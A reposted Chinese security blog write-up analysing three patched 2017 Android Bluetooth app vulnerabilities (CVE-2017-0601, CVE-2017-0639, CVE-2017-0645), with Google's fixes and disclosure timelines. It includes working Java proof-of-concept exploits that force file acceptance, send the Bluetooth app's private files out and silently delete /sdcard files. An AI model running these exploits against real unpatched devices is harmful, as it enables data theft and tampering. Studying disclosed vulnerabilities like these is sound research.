赞
踩
作者: heeeeen
本文系转载,目的是学习,如有侵权,请联系删除
2017年5月的Android安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意App绕过用户交互,使用户强制接收外部传入的蓝牙文件。漏洞概要如下:
CVE: CVE-2017-0601
BugID: A-35258579
严重性: 中
影响的Google设备: All
Updated AOSP versions: 7.0, 7.1.1, 7.1.2
蓝牙App暴露了一个广播接收器com.android.bluetooth.opp.BluetoothOppReceiver,本地普通App可以向这个Receiver发送广播,查看其OnReceive方法,包含了对多种传入广播Intent Action的处理,但是大多数Intent Action处于保护状态,简单用adb shell可以一一对其测试,比如
adb shell am broadcast -a android.btopp.intent.action.OPEN
提示如下错误,说明action处于保护状态
Broadcasting: Intent { act=android.btopp.intent.action.OPEN }
java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000
at android.os.Parcel.readException(Parcel.java:1683)
at android.os.Parcel.readException(Parcel.java:1636)
at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507)
at com.android.commands.am.Am.sendBroadcast(Am.java:772)
at com.android.commands.am.Am.onRun(Am.java:404)
at com.android.internal.os.BaseCommand.run(BaseCommand.java:51)
at com.android.commands.am.Am.main(Am.java:121)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)
但是android.btopp.intent.action.ACCEPT这个Intent Action,却没有保护
adb shell am broadcast -a android.btopp.intent.action.ACCEPT
Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }
Broadcast completed: result=0
进一步分析AOSP代码,发现传入这个Action的Intent时,会将Intent携带Uri指向的db进行更新,更新为用户确认状态。
else if (action.equals(Constants.ACTION_ACCEPT)) {
if (V) Log.v(TAG, "Receiver ACTION_ACCEPT");
Uri uri = intent.getData();
ContentValues values = new ContentValues();
values.put(BluetoothShare.USER_CONFIRMATION, BluetoothShare.USER_CONFIRMATION_CONFIRMED);
context.getContentResolver().update(uri, values, null, null);
cancelNotification(context, uri);
这个db其实就是蓝牙文件共享的provider,对应的uri为content://con.android.bluetooth.opp/btopp,当通过蓝牙共享接收、发送文件时,该数据库都会增加新的条目,记录接收、发送的状态。该provider记录的信息可以参考BluetoothShare
/** * Exposes constants used to interact with the Bluetooth Share manager's content * provider. * @hide */ public final class BluetoothShare implements BaseColumns { private BluetoothShare() { } /** * The permission to access the Bluetooth Share Manager */ public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE"; /** * The content:// URI for the data table in the provider */ public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");
因此,如果我们在Intent中传入某个蓝牙共享对应文件的uri,那么它在蓝牙文件共享Provider中的状态就会被更改为用户确认状态。这里继续进行猜想,进一步,如果我们刚好通过蓝牙传入某个文件,将其状态改为用户确认,是否文件就无需确认,自动接收了呢?幸运的是,的确如此。
这里还有一个问题要解决,content://com.android.bluetooth.opp/btopp只是整个provider的uri,我们如何知道刚刚通过蓝牙传入文件的uri呢?通过暴力穷举,下面的PoC简单地解决了这个问题,
public class MainActivity extends AppCompatActivity { Button m_btnAccept = null; public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT"; public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); m_btnAccept = (Button)findViewById(R.id.accept); m_btnAccept.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent = new Intent(); intent.setComponent(new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppReceiver")); intent.setAction(ACTION_ACCEPT); // Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily. // Then Send broadcast to change the incoming file status for (int i = 0 ; i < 255; i++) { String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i); intent.setData(Uri.parse(uriString)); sendBroadcast(intent); } } }); } }
通过蓝牙向测试手机发送文件,此时,手机将会出现提示,要用户拒绝或者接受,这个对话框将会出现约1分钟
Bluetooth Transfer PendingBluetooth Transfer Pending
此时运行POC,文件将会自动接收,因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行,那么手机将会被强制接收任意蓝牙传入的文件。
Google在Framework的AndroidManifest文件中,将android.btopp.intent.action.ACCEPT和DELINE设为保护状态,普通App无法发出携带这些action的Intent
diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml
index ec712bb..011884c 100644
--- a/core/res/AndroidManifest.xml
+++ b/core/res/AndroidManifest.xml
@@ -199,6 +199,8 @@
<protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />
<protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />
<protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
+ <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" />
+ <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />
<protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />
2017.02.09——提交Google
2017.03.01——漏洞确认
2017.05.01——补丁发布
2017.05.04——漏洞公开
Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。
漏洞信息如下:
CVE: CVE-2017-0639
BugID: A-35310991
严重性: 高危
漏洞类型: 信息泄露
Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2
在发现这个漏洞之前,我浏览了Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:
CVE-2017-0420: AOSP邮件中的信息泄露漏洞
CVE-2017-0414: AOSP短信中的信息泄露漏洞
查看这两个信息漏洞的补丁注释,分别为
Don’t allow file attachment from /data through GET_CONTENT
Thirdparty can
attach private files from “/data/data/com.android.messaging/“
directory to the messaging app。
涵义非常清晰,似乎邮件和短信App均遗漏了对发送的文件进行验证,本地攻击者可以添加App私有目录的数据文件发送出去,从而破坏了Android沙箱所提供的应用数据相互隔离的安全防护功能。
这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?
除了短信、邮件,很容易想到蓝牙也是Android一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙App暴露的BluetoothOppLauncherActivity所实现。该Activity根据传入的Intent.ACTION_SEND或
Intent.ACTION_SEND_MULTIPLE,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下
/* * Other application is trying to share a file via Bluetooth, * probably Pictures, videos, or vCards. The Intent should contain * an EXTRA_STREAM with the data to attach. */ if (action.equals(Intent.ACTION_SEND)) { // TODO: handle type == null case final String type = intent.getType(); final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM); CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT); // If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the // uri data; // If we get ACTION_SEND intent without EXTRA_STREAM, but with // EXTRA_TEXT, we will try send this TEXT out; Currently in // Browser, share one link goes to this case; if (stream != null && type != null) { if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = " + type); // Save type/stream, will be used when adding transfer // session to DB. Thread t = new Thread(new Runnable() { public void run() { BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this) .saveSendingFileInfo(type,stream.toString(), false); //Done getting file info..Launch device picker and finish this activity launchDevicePicker(); finish(); } }); t.start(); return; } else { Log.w(TAG,"Error trying to do set text...File not created!"); finish(); return; } } else { Log.e(TAG, "type is null; or sending file URI is null"); finish(); return; } } else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) { final String mimeType = intent.getType(); final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM); if (mimeType != null && uris != null) { if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= " + mimeType); Thread t = new Thread(new Runnable() { public void run() { BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this) .saveSendingFileInfo(mimeType,uris, false); //Done getting file info..Launch device picker //and finish this activity launchDevicePicker(); finish(); } }); t.start();
那么,传入蓝牙App私有数据试试!先寻找bluetooth所拥有的私有文件,
angler:/ # find /data -user bluetooth -exec ls -al {} ; 2> /dev/null
可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.db和file:///data/misc/bluedroid/bt_config.conf
很快可以写出PoC
public class MainActivity extends AppCompatActivity { Button m_btnSendPriv = null; Button m_btnSendMPriv = null; private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db"; private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); m_btnSendPriv = (Button)findViewById(R.id.send_private); m_btnSendPriv.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent = new Intent(Intent.ACTION_SEND); intent.setType("text/plain"); Uri uri = Uri.parse(PRIV_FILE_URI1); intent.putExtra(Intent.EXTRA_STREAM, uri); intent.setComponent(new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity")); startActivity(intent); } }); m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple); m_btnSendMPriv.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE); intent.setType("text/plain"); ArrayList<Uri> uris = new ArrayList<Uri>(); uris.add(Uri.parse(PRIV_FILE_URI1)); uris.add(Uri.parse(PRIV_FILE_URI2)); intent.putExtra(Intent.EXTRA_STREAM, uris); intent.setComponent(new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity")); startActivity(intent); } }); } }
真的那么简单吗?编译PoC,运行却抛出了安全异常!
--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)
原来触发了FileUriExposed错误,出于安全考虑,Android SDK 23以上就不能在Intent中传递file:// Uri,见官方说明:
对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。
似乎宣判了死刑!心有不甘,继续分析BluetoothOppLauncherActivity后面的文件处理流程,调用链为saveSendingFileInfo–> generateFileInfo,查看generateFileInfo函数,我们发现其实是支持传入file:// URI的。
public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri, String type) { ContentResolver contentResolver = context.getContentResolver(); String scheme = uri.getScheme(); String fileName = null; String contentType; long length = 0; // Support all Uri with "content" scheme // This will allow more 3rd party applications to share files via // bluetooth if ("content".equals(scheme)) { contentType = contentResolver.getType(uri); Cursor metadataCursor; try { metadataCursor = contentResolver.query(uri, new String[] { OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE }, null, null, null); } catch (SQLiteException e) { // some content providers don't support the DISPLAY_NAME or SIZE columns metadataCursor = null; } catch (SecurityException e) { Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri); return SEND_FILE_INFO_ERROR; } if (metadataCursor != null) { try { if (metadataCursor.moveToFirst()) { fileName = metadataCursor.getString( metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME)); length = metadataCursor.getLong( metadataCursor.getColumnIndex(OpenableColumns.SIZE)); if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length); } } finally { metadataCursor.close(); } } if (fileName == null) { // use last segment of URI if DISPLAY_NAME query fails fileName = uri.getLastPathSegment(); } } else if ("file".equals(scheme)) { // Notice!!! fileName = uri.getLastPathSegment(); contentType = type; File f = new File(uri.getPath()); length = f.length(); } else { // currently don't accept other scheme return SEND_FILE_INFO_ERROR;
进一步查阅相关资料发现,原来FileUriExposed错误只是SDK引入的一项安全机制,仅仅是为了防止Intent的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要Intent的接收方BluetoothOppLauncherActivity访问其自己的私有文件,而且查看上述代码,既有对file:// URI的支持,也缺乏对文件是否属于私有目录的验证,Why not?
既然是SDK 23以后引入的安全机制,那么我们把build.gradle中的targetSdkVersion从原先的25改为23,重新编译运行,就可以将Bluetooth App的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了Android沙箱的应用间数据隔离机制。至此,大功告成!
success
2017.02.13: 提交Google
2017.03.01: 漏洞确认,初始评级为高
2017.06.05: 补丁发布
2017.06.12: 漏洞公开
Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一个仿冒的 Provider ,并获取 Provider 所指向文件的读写权限,可用于写 SD 卡或者蓝牙共享数据库,漏洞详情如下:
CVE: CVE-2017-0645
BugID: A-35310991
严重性: 中危
漏洞类型: 提权
Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2
该漏洞其实是一个常规的 Android 组件暴露漏洞,跟我们上一个分析的蓝牙漏洞一样,我们知道在蓝牙 App 中 BluetoothOppLauncherActivity 是可以被第三方应用启动的。这一次,我们来看 onCreate 函数中传入 Intent action 为 android.btopp.intent.action.OPEN 的处理流程。
else if (action.equals(Constants.ACTION_OPEN)) {
Uri uri = getIntent().getData();
if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);
Intent intent1 = new Intent();
intent1.setAction(action);
intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
intent1.setDataAndNormalize(uri);
this.sendBroadcast(intent1);
finish();
}
转到 BluetoothOppReceiver 进行处理。接着查看 BluetoothOppReceiver 的 onReceive 函数,由于Intent 可控,这里蓝牙 App 将会取出 intent 中的 Data 进行数据库查询,然后取出 transInfo ,最后进入 BluetoothOppUtility.openReceivedFile 函数。
} else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) { if (V) { if (action.equals(Constants.ACTION_OPEN)) { Log.v(TAG, "Receiver open for " + intent.getData()); } else { Log.v(TAG, "Receiver list for " + intent.getData()); } } BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo(); Uri uri = intent.getData(); //Intent可控! transInfo = BluetoothOppUtility.queryRecord(context, uri); if (transInfo == null) { Log.e(TAG, "Error: Can not get data from db"); return; } if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND && BluetoothShare.isStatusSuccess(transInfo.mStatus)) { // if received file successfully, open this file // transInfo可控! BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName, transInfo.mFileType, transInfo.mTimeStamp, uri); BluetoothOppUtility.updateVisibilityToHidden(context, uri); } else { Intent in = new Intent(context, BluetoothOppTransferActivity.class); in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); in.setDataAndNormalize(uri); context.startActivity(in); }
在 openReceivedFile 函数中,我们看到蓝牙 App 最终将在授予读写权限后,启动能够处理 transInfo.mFileType 文件类型的某外部 App 的 Activity ,对 transInfo.mFileName 进行处理。
public static void openReceivedFile(Context context, String fileName, String mimetype, Long timeStamp, Uri uri) { if (fileName == null || mimetype == null) { Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null"); return; } File f = new File(fileName); //fileName可控 if (!f.exists()) { ... // skip } // path受限于com.google.android.bluetooth.fileprovider使用的位置 Uri path = FileProvider.getUriForFile(context, "com.google.android.bluetooth.fileprovider", f); // If there is no scheme, then it must be a file if (path.getScheme() == null) { path = Uri.fromFile(new File(fileName)); } if (isRecognizedFileType(context, path, mimetype)) { Intent activityIntent = new Intent(Intent.ACTION_VIEW); activityIntent.setDataAndTypeAndNormalize(path, mimetype); List<ResolveInfo> resInfoList = context.getPackageManager() .queryIntentActivities(activityIntent, PackageManager.MATCH_DEFAULT_ONLY); // 注意这段,授予任何app对该文件的读写权限 // Grant permissions for any app that can handle a file to access it for (ResolveInfo resolveInfo : resInfoList) { String packageName = resolveInfo.activityInfo.packageName; context.grantUriPermission(packageName, path, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION); } activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 授予activity对该文件的读写权限 activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); try { if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype); context.startActivity(activityIntent);
由于 Intent 可控, Intent Data 可控, transInfo 可控,再加上启动的外部 App 被授予了读写权限,因此这里存在漏洞,我们可以伪造一个文件让蓝牙 App 启动某外部 App 打开,同时该外部 App 获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于 com.android.bluetooth.filepovider ,其 file_paths.xml 使用的 external-path ,这意味着我们只能伪造一个外部存储 /sdcard 目录的文件。
漏洞利用可如下图所示,这种攻击发送 intent 的过程像极了飞去来器。恶意 App 发送 intent 过后,又回到了自己手中,但却获得了提权。
1.恶意 App 声明能对某种 filetype 进行处理
<activity android:name=".FakeViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="xxx/yyy" />
</intent-filter>
</activity>
2.构造一个虚假的 bluetooth share provider——FakeBluetoothOppProvider ,传入 intent data 之中。主要内容可以参考 BluetoothOppProvider ,其 Uri 为
content://fake.bluetooth.provider/btopp/
并expose出来
然后填入内容,指向 /sdcard 中某个已知文件,并传入 Intent data , 启动 BluetoothOppLauncherActivity
m_btnTest.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(); intent.setComponent(new ComponentName("com.android.bluetooth", "com.android.bluetooth.opp.BluetoothOppLauncherActivity")); intent.setAction(Constants.ACTION_OPEN); intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1")); startActivity(intent); } }); m_btnAddFakeEntry = (Button)findViewById(R.id.add); m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { ContentValues values = new ContentValues(); values.put(BluetoothShare._ID, 1); values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND); values.put(BluetoothShare.TOTAL_BYTES, 110000); values.put(BluetoothShare.CURRENT_BYTES,110000); values.put(BluetoothShare.TIMESTAMP, 111111); values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8"); values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk"); values.put(BluetoothShare.MIMETYPE, "xxx/yyy"); values.put(BluetoothShare.USER_CONFIRMATION, 1); // when content provider is null, use insert or use update m_contentResolver.insert(BluetoothShare.CONTENT_URI, values); // m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null); } });
3.蓝牙 App 取出我们构造的 filename, filetype;
4.蓝牙 App 授予读写权限,然后再启动恶意 App 进行处理;
5.恶意 App 直接删除 /sdcard 中的这个文件。
public class FakeViewActivity extends Activity { final static String TAG = "Bluz"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent(); String dir = intent.getDataString(); Log.d(TAG, "dir is "+dir); Uri uri = intent.getData(); ContentResolver cr = getContentResolver(); Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!"); getContentResolver().delete(uri, null, null); } }
在上述整个过程中,恶意 App 并未申请 SD 卡写权限,因此这是一个提权漏洞。
另外还有一种利用方式,是在 Intent 中直接传入蓝牙 BluetoothOppProvider 的 uri ,比如 content://com.android.bluetooth.opp/btopp/1" ,从而获得对蓝牙共享数据库的读写权限。
完整代码请见这里
Google 对该漏洞的修复主要有两点:
1.确保 Intent data 始终为 BluetoothOppProvider 的 Uri ,防止仿冒; 2.撤销了授予第三方应用的读写权限,只授予第三方应用某个 Activity 的读权限。
2017.02.15: 漏洞提交
2017.03.01: 漏洞确认,初始评级为高
2017.03.23: 漏洞降级为中
2017.06.01: 补丁发布
2017.06.23: 漏洞公开
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。